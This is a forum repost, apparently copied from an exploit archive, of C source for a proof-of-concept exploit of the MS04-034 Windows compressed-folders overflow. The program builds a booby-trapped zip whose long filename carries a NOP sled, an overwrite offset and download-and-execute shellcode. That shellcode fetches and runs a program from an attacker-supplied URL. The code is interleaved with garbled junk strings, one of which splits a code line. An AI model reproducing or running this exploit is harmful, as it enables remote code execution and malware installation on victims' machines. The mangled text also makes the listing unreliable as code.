数学建模社区-数学中国
标题:
(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
[打印本页]
作者:
韩冰
时间:
2004-11-21 10:51
标题:
(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
]: R* r6 [8 i/ L ?
*
6 I5 O9 \$ H6 ^6 j B9 U- u
* Tested under Windows XP SP0 Spanish/English
# H3 S0 E3 g; C' C
*
7 y# E7 ^+ F0 F. }0 ]
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
6 K. R7 T6 L& C0 O$ f) E0 z
* Exploit Date: 21/10/2004
4 ]6 f9 i- d5 ~; Y: r+ F
*
6 j0 k, E6 s3 D3 J5 j
* Tarako - Haxorcitos.com 2004
" I0 b& K4 N) L4 q
*
+ ^# Z1 N* v7 S% T
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
1 i! I+ M2 s9 s5 }& y% n
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
- F" [! m4 s/ ]5 o) z
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
' T3 ]8 @9 ]0 C% ?
*
; q6 z6 b2 r& }/ Z r" e9 H
* Greetings t #haxorcitos, #dsr and #localhost @efnet
; m/ I3 E( a# T8 p- c
*
6 M @! p+ h6 P( E/ c1 y) S* @" H
*
) e, y0 ]7 R9 f
* How to get new offsets:
5 C+ i7 M% ?7 \& f+ x+ z
* 1) attach debugger (i.e ollydbg) to explorer.exe
7 w& }8 h, `7 Y0 T9 j7 x
* 2) open the zip file as a folder and add or move some files to it
1 l4 M5 G9 X- v# n* ? Y/ ^6 R
* 3) search in the explorer.exe memory the shellcode and get the addresses
4 ^. \* h: `% A8 H
*
/ A3 K& ]; B9 R% u! Z/ o
*/
4 }5 O9 D- Y. K* K8 R( R1 g
! u: {+ E7 m6 N+ I+ b; [/ Y
#include <stdio.h>
" p8 t% `: j* p- p: C
#include <windows.h>
( h$ v4 E$ W1 r) s
1 i: V9 j- J# G* u; V' x9 M
#pragma pack(1)
5 H8 u. q) B7 E8 ~5 A
/ c6 {. b8 ~0 s- J
#define DATOS "Tarako-Haxorcitos.com"
6 @1 A$ z$ j' v* B
6 N: `5 V6 F& s3 Z- n, r
typedef struct {
% o5 u0 Q. P3 k- y5 c! f8 B3 `
DWORD Signature; // PK.. 4 bytes (0x04034B50)
" b4 e6 i8 u0 ?: z, N s+ _
WORD VersionNeeded;
% J0 n& {7 V1 O o+ I } L6 p
WORD GeneralPurposeFlag; // para el data descriptor y demas
7 \5 ~& ]! Y# {9 `
WORD CompressionMethod;
6 h% A C2 X6 b& U" V
WORD ModFileTime;
/ @: J$ q0 {/ |+ W- @( S
WORD ModFileDate;
4 d7 S6 w, l; s- ?. N: q
DWORD Crc32;
+ G+ C: \0 D7 F% ^. n. f
DWORD CompressedSize;
& d2 G3 a, P* ~7 h( F; d `* w1 M) ]
DWORD UncompressedSize;
- r; t$ I1 R3 `& L% }$ ?8 l- r( x$ ]# S
WORD FilenameLength;
7 x* L! B/ v/ C7 A* p
WORD ExtraFieldLength;
/ @: E9 h' o" H5 c5 E, ~
// filename (variable size)
5 D( s; l% o. x0 Z3 P
// extra field (variable size)
0 ^# S% ]( i$ _- a1 o: ]
}TOPHEADER;
: s' O- H6 b5 k2 J
! Y9 m- p C1 t) z
0 N' M8 r- G) W; T# U* u6 b3 W$ u6 L
typedef struct {
6 B% e, l5 h3 T2 @& U
DWORD Signature; // PK.. 4 bytes (0x02014B50)
& \6 O; n" L t. y
WORD MadeVersion;
) a! p8 T# P' B' z
WORD VersionNeeded;
' ?. A. ^$ G: G! I( q5 n
WORD GeneralPurposeFlag; // para el data descriptor y demas
) D1 N7 p* z4 L& k* I! K
WORD CompressionMethod;
+ E% T0 e" |& ?6 }8 v
WORD ModFileTime;
4 G" \* r" z# N
WORD ModFileDate;
% k, q* k& ]$ D! \ N. K
DWORD Crc32;
" {+ L* D' ~( K8 w; m4 f/ X" s* G
DWORD CompressedSize;
3 b# l4 i, T; z+ X
DWORD UncompressedSize;
( s4 ?1 V8 x0 C5 p- V' U
WORD FilenameLength;
5 U7 c& E, Z* t3 m/ q. T+ u
WORD ExtraFieldLength;
! C. r/ `; q, K' Z3 p" U& O
WORD FileCommentLength;
" v C9 Z! E, L9 I& y/ B7 v
WORD DiskNumberStart;
! M& {+ J" H/ [9 _
WORD InternalFileAttributes;
: Z" H! f) r3 `, k. e4 c
DWORD ExternalFileAttributes;
; I# O1 R2 y: C, a: t$ t* s( @" Y
DWORD RelativeOffsetOfLocalHeader;
" K* i. X9 o7 F! _! r/ B/ k! ?: B) U
// filename (variable size)
/ }9 f0 u0 I1 a! d! U
// extra field (variable size)
& V$ I) l5 L Q9 N
// file comment (variable size)
% l/ H% H! k) D- f! r4 G" Q0 O
}MIDDLEHEADER;
- d$ @; I: w2 P2 B+ C; v7 r
- ~6 F9 e/ L* g* d$ O6 L
typedef struct {
( B. u7 U; T; T0 o! K) ^! N8 y8 |, N
DWORD Signature; // PK.. 4 bytes (0x06054B50)
8 w4 X, J& q- v! j
WORD NumOfThisDisk;
{7 h" Z+ p# j
WORD NumDisckStartCentralDirectory;
; q1 d8 m- [3 _
WORD NumEntriesCentralDirOnThisDisk;
. a( s8 }) ]6 g3 t
WORD TotalNumEntriesCentralDir;
0 d- m& | k+ m4 z, ]7 K# j
DWORD SizeCentralDirectory;
x" r5 ?1 [% @) d3 j0 G2 b* w: T' }' z
DWORD OffsetCentraDirRespectStartDiskNum;
% a i' j4 U/ |. v7 O/ a/ o
WORD ZipCommentLength;
2 O, v7 f, m3 M) `
// zipfile comment (variable size)
" G" K6 L3 @* O. b
}BOTTOMHEADER;
, r6 H" z7 \% J$ ^! c6 F6 J% R
8 H8 }( V2 |2 v
/*
: R. \. \& ]% @1 w) i
* download shellcode - RaiSe - raise@netsearch-ezine.com
8 I. k4 S- ~, D/ T) V+ W( |
*/
( l. I, x- C1 g3 A( r% u
char shellcode1[] =
" o3 u% t j N5 e4 t: ~# O# k
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
* z. A$ }+ ^5 s$ q+ m# k
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
% R/ Q e9 d. c \* E
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
8 Q0 m1 U# V! ]2 a, B, v
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
* @# R: |. C9 W0 {5 Z# p
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
) A9 v% V2 D' H; `) }
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
' K! G, G! e C4 m4 }) q% e$ L
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
. W% D+ \9 ~% l9 t
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
& o, d8 F J. @* u- n
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
6 A, T2 Y- e6 E% {' f6 K
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
8 k" ^% o" S# C$ Z
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
! G( Z4 Q7 g, h m1 ~: L
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
7 ^1 p0 D9 h2 H8 D5 \0 j
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
" v" o( |7 q( X! u
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
, S, \: v* S6 R r! c) f) [
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
' N l& l! o6 r+ E9 {; J8 k) k- @" e
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
F8 W# Y6 u- s: ]' r! R
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
9 z9 B0 _$ a, t G
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
, o: k5 z8 A2 u R2 a; H
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
9 O; Z! Y2 S& ~) s0 ` ^4 A" M
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
' d" M) o+ w' j' A; D
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
9 V3 l' I' |8 S# z1 U
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
1 d; W# G3 Y& E* h" H8 w
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
1 ~. z, U: V; G% m8 r9 H, c
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
: i4 q+ w7 s' A+ O, B+ B
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
/ Q% X* f7 l0 _; L M' f, x% q
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
2 l5 h; W5 n0 C) E G& \4 r
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
* R; z* P; |. O) O$ j1 ~
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
4 x4 ]% ?5 z# k3 b9 \% T
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
) Q; S# m/ A2 m8 j
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
K7 y3 o- L8 h) _/ t/ d1 U% ~
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
6 H" X1 a" B; a: |
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
2 v) M9 \6 F5 Z" u( s
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
, G1 l+ ?7 U1 {7 T5 ]
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
& a1 d) D8 ?8 m- P/ [% @
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
3 Q% V- w9 t& \7 V- B: D% i
char shellcode2[] ="\x08\x01";
5 t5 j% y& h/ [
$ [! ?6 x" W' Y
char offset[]="\x41\x41\x41\x41";
. s/ B! t# d$ }# ~4 E* p+ I3 [4 E* J9 A
char jmpbelow[]= "\xeb\x06\x90\x90";
' g5 t, p3 G' D0 @. u4 g
/ o2 j. v" W# K
int main(int argc,char *argv[]) {
; Y J# p; P7 c# b
+ P, ~, u# j8 r
FILE *ZipFile;
3 p+ G2 Z- ?5 |5 b7 r
TOPHEADER *Cabecera1;
0 w2 U( y, N( P* M' S( v
MIDDLEHEADER *Cabecera2;
! Q! A5 C5 a6 U3 |/ K
BOTTOMHEADER *Cabecera3;
; D2 _+ [2 b! ^) R: a
j3 G# g {6 B/ q3 q
DWORD c;
& c, i, U" p, ?
UINT i;
, Q5 r$ C% T3 Q: |7 F# q! O$ i' _
char *filename;
" o j( |' m+ w
char *url;
* g+ c/ n* X, c- C2 ~, E4 t% _
6 A) ]4 o# ?* \- |( @, G, J
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
3 S. E! ]* I1 R' F' `) V* z: a# L) O
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
9 l3 ~5 [- @7 j0 i* m( Z- J5 c
- A: V+ Z+ t- N' I
if (argc!=2) {
( o$ M( M2 C) C& p( ^2 Z( a N
printf("\n\n Usage: %s <URL> \n",argv[0]);
$ k# z( Z4 K2 v
exit(1);
) w, L' H6 {6 N! p6 u5 ^8 N
}
, F. H" [1 ]; N" o R% F0 E
* y2 D+ T" A& z4 P5 Z
url=argv[1];
" l' z$ Z* E/ u
printf("\n * URL: %s",url);
, N. i: \* K) e+ m3 V4 ~
! s' u: D. ?- ]. e$ c% p/ C
1 i; `9 k. s- C7 S
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
) P2 Z+ R2 \. p) n
printf("\n [E] fopen()");
6 A& B/ e$ ^; Z: a
exit(1);
5 h3 n& {$ k* |% Y
}
/ V: C% h! j/ H& z
+ F5 J8 ]5 R& p7 ]7 ?5 q( Q
c=0x8000; // filename length
# ^4 ?2 v* D! {
filename=(char*)malloc(sizeof(char)*c);
' a7 F ^8 u7 Q$ u' ?
memset(filename,0,sizeof(filename));
) o# W+ q, f2 n X0 R. f! {/ \
* T4 R; A0 h: _9 N/ ~
for( i=0x0;i<c;i++) filename
=(BYTE)0x90;
- }0 P4 Y9 M6 D! n
{8 }6 q7 J- u# B* Y( F
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
: H% O( w- B6 `/ `' m! e; g
memcpy(filename+0x1818,offset,strlen(offset));
+ r6 K. J3 j4 l {# X5 P
* P+ k6 M* U" o& O
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
3 u/ W' O: C& n5 b E0 ^# F1 u% B
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
: M& f/ R0 x+ [' o7 y5 E% q
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
5 e/ m3 n I+ T. q) f
$ r: w6 l1 @* k+ O2 y
memcpy(filename+(c-4),".txt",4);
, |6 T# U8 P& D( p+ z
6 |3 ^) X$ Y! x/ L W
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
~4 [4 C* e C `9 Q q3 [
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
2 g9 {+ i* }- ?0 }2 p5 Y
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
: i3 z; M9 _. [! D8 O2 a5 @
memset(Cabecera1,0,sizeof(TOPHEADER));
2 y, P# `0 ] B6 K9 Q
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
( O1 p7 Z5 i7 {- [
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
3 u& U4 \" D' z: P" n1 Z$ P
& Z; M3 `% K3 O+ G' z! V" `
///////////////////////////////////////////////////////////////////
) p8 w8 w' t- f, g2 c% O: G Q6 A
// TOPHEADER
, D2 ? d2 X8 Y4 Z" W' y7 S( U
///////////////////////////////////////////////////////////////////
. u' R3 v: K' b1 A$ ~) x9 I
Cabecera1->Signature=0x04034B50; // DWORD
+ c, H5 A D ?, S" w6 g \, l
Cabecera1->VersionNeeded=0x000A; // WORD
. o. {1 Y( F3 ~( ~4 W- ?
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
/ T9 O; P3 P" L% j9 T
Cabecera1->CompressionMethod=0x0000; // WORD
% v6 z' L9 g& X, p+ V
Cabecera1->ModFileTime=0x1362; // WORD
! y, f( p) p( \9 Z; ^: t
Cabecera1->ModFileDate=0x3154; // WORD
" P+ k m1 Z' a2 I* K! d4 d
Cabecera1->Crc32=0x85B36639; // DWORD
; d! R3 R! ]9 d& U" D
Cabecera1->CompressedSize=0x00000015; // DWORD
( Y* ] f, |0 p/ q) _7 I; {
Cabecera1->UncompressedSize=0x00000015; // DWORD
! t2 [$ V( q$ {/ E2 S
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
5 w! s$ b( z L6 j/ e, Z
Cabecera1->ExtraFieldLength=0x0000; // WORD
$ G x: V& H' J) C5 K* e
///////////////////////////////////////////////////////////////////
8 z& P$ k4 ~( j" L% ^
|1 E: \4 a5 Y" {
///////////////////////////////////////////////////////////////////
8 B) v0 ~/ T6 K. ~& v
// MIDDLEHEADER
5 J2 I& C. }* B, p" I: o- K
///////////////////////////////////////////////////////////////////
' b( @( r5 Q2 @ P: e5 U" d6 A" K
Cabecera2->Signature=0x02014B50; // DWORD
$ k3 a1 x# x, W1 e
Cabecera2->MadeVersion=0x0014; // WORD
9 i/ x. L4 q) |# s: L3 {
Cabecera2->VersionNeeded=0x000A; // WORD
4 Y/ x& }! r( e1 X x% ], d
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
6 @! n9 G& g2 z J# V9 c, M) y+ T& C! q
Cabecera2->CompressionMethod=0x0000; // WORD
- d9 V6 k7 Z) e5 Q6 ^" @
Cabecera2->ModFileTime=0x1362; // WORD
7 y a6 P( W0 q' m _) n
Cabecera2->ModFileDate=0x3154; // WORD
5 P/ T0 z7 Y, Z
Cabecera2->Crc32=0x85B36639; // DWORD
+ `" r; [2 k7 Z H+ |' `
Cabecera2->CompressedSize=0x00000015; // DWORD
: ?( v& j z; Y: ]0 i) @. y: v
Cabecera2->UncompressedSize=0x00000015; // DWORD
, J# i$ |1 a" T2 H; m
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
. \3 i" P8 T% f# y! t. \2 [& p3 ^
Cabecera2->ExtraFieldLength=0x0000; // WORD
, Y' T$ z9 I x7 ~7 |
Cabecera2->FileCommentLength=0x0000; // WORD
' c# y! P- D5 z
Cabecera2->DiskNumberStart=0x0000; // WORD
# _' a; ?2 [; v& G7 f
Cabecera2->InternalFileAttributes=0x0001; // WORD
6 ~" ]' c2 }/ I' Z, p( ?
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
. D9 K) d8 E# x3 X
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
1 I- R* Y# k0 `7 C
///////////////////////////////////////////////////////////////////
6 b9 w- {; @- e& F6 x" x
2 M) u' Y( I0 K2 t& i
///////////////////////////////////////////////////////////////////
% W3 V; O+ ~- T1 ^8 U
// BOTTOMHEADER
. g0 [* O" ?1 q7 P
///////////////////////////////////////////////////////////////////
: ~2 ~- i; x1 g& G
Cabecera3->Signature=0x06054B50; // DWORD
& j3 Y/ f* d1 R. L) Q
Cabecera3->NumOfThisDisk=0x0000; // WORD
- Z% V# [+ N1 s: f! z3 Y+ ~0 ^$ S* q
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
. E6 `" h/ F3 i8 A6 ~
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
" o8 y+ N/ Y! c( y
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
6 A5 m4 Z# y* Z; a; E" a; s
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
" y5 b+ M1 O+ ^
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
9 J# W/ o y& H; @$ y
Cabecera3->ZipCommentLength=0x0000; // WORD
/ P( W- ~8 {/ j( V$ L: W* E* K
///////////////////////////////////////////////////////////////////
6 k8 F3 T1 T: e! H; Q
6 y+ t) ^( @& p4 Q0 G5 F/ D
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
& M# v* t3 S4 m- D! p$ N1 ?% A
# L3 v: N7 y: V z% ~
fwrite(filename, c, 1,ZipFile);
. }% d5 t- V; i+ x
fwrite(DATOS,strlen(DATOS),1,ZipFile);
: e8 {% Q( \; b
( W( g! L+ i( _- V% X: g4 v1 `
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
$ f+ G) p0 `) h2 r2 g
fwrite(filename, c, 1,ZipFile);
D# D. k) W" E( x0 d* b2 C
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
* G8 C& p0 R* r1 W
. T; q& E$ g" h/ R4 [! j
fclose(ZipFile);
0 v5 y6 m+ ]% j" Y
printf("\n * prueba.zip created\n");
+ v* C- a7 M* J1 S& R
return 1;
5 d; d" A$ q! A6 K8 }8 Y/ b% c) `
}//downloaded from milw0rm.com
. Z3 j/ ?7 I2 q
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5